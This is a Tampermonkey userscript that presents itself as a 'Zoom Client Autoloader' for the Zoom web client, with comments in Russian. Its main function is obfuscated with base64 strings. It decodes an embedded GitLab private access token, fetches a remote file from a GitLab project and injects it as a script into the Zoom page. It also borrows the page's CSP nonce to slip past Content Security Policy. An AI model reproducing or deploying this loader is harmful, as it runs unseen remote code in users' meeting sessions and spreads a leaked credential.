// ==UserScript== // @name Zoom Client Autoloader // @namespace http://tampermonkey.net/ // @version 1.1 // @description Автоматический запуск клиента Zoom // @author MultiVers // @match https://app.zoom.us/wc/* // @grant none // @run-at document-end // @license MIT // @downloadURL none // ==/UserScript== (function() { 'use strict'; // Улучшенная система предотвращения повторных запусков const EXECUTION_LOCK_KEY = 'zoomClientExecutionLock'; const LOCK_TIMEOUT = 5000; // 5 секунд function isAlreadyRunning() { const lockData = sessionStorage.getItem(EXECUTION_LOCK_KEY); if (!lockData) return false; const lock = JSON.parse(lockData); const now = Date.now(); // Проверяем, не устарела ли блокировка if (now - lock.timestamp > LOCK_TIMEOUT) { sessionStorage.removeItem(EXECUTION_LOCK_KEY); return false; } return true; } function setExecutionLock() { const lock = { timestamp: Date.now(), id: Math.random().toString(36) }; sessionStorage.setItem(EXECUTION_LOCK_KEY, JSON.stringify(lock)); } // Проверяем, не выполняется ли уже скрипт if (isAlreadyRunning()) { console.log('Скрипт уже выполняется, пропускаем запуск'); return; } // Устанавливаем блокировку setExecutionLock(); async function loadAndExecute() { try { const dGtua2V5 = atob('Z2xwYXQtUTUtYUo1QllfSEh3bUg4LVVNQzE='); const cHJvamVjdE51bWJlcg = atob('NjU2ODM2MTc='); const ZmlsZVBhdGhOYW1l = atob('WkNsaWVudE1lbnU='); const response = await fetch(atob('aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy8=') + cHJvamVjdE51bWJlcg + atob('L3JlcG9zaXRvcnkvZmlsZXMv') + encodeURIComponent(ZmlsZVBhdGhOYW1l) + atob('L3Jhdw=='), { headers: { [atob('UFJJVkFURS1UT0tFTg==')]: dGtua2V5 } }); if (!response.ok) { throw new Error(atob('0J7RiNC40LHQutCwIEhUVFA6IA==') + response.status); } const code = await response[atob('dGV4dA==')](); const script = document[atob('Y3JlYXRlRWxlbWVudA==')](atob('c2NyaXB0')); script[atob('bm9uY2U=')] = document[atob('cXVlcnlTZWxlY3Rvcg==')](atob('c2NyaXB0W25vbmNlXQ=='))?.[atob('bm9uY2U=')]; script[atob('dGV4dENvbnRlbnQ=')] = code; document[atob('aGVhZA==')][atob('YXBwZW5kQ2hpbGQ=')](script); } catch (error) { console[atob('ZXJyb3I=')](atob('0J7RiNC40LHQutCwINC/0YDQuCDQt9Cw0LPRgNGD0LfQutC1INC40LvQuCDQstGL0L/QvtC70L3QtdC90LjQuCDQutC+0LTQsDoK'), error); } } // Запускаем скрипт после загрузки страницы loadAndExecute(); })();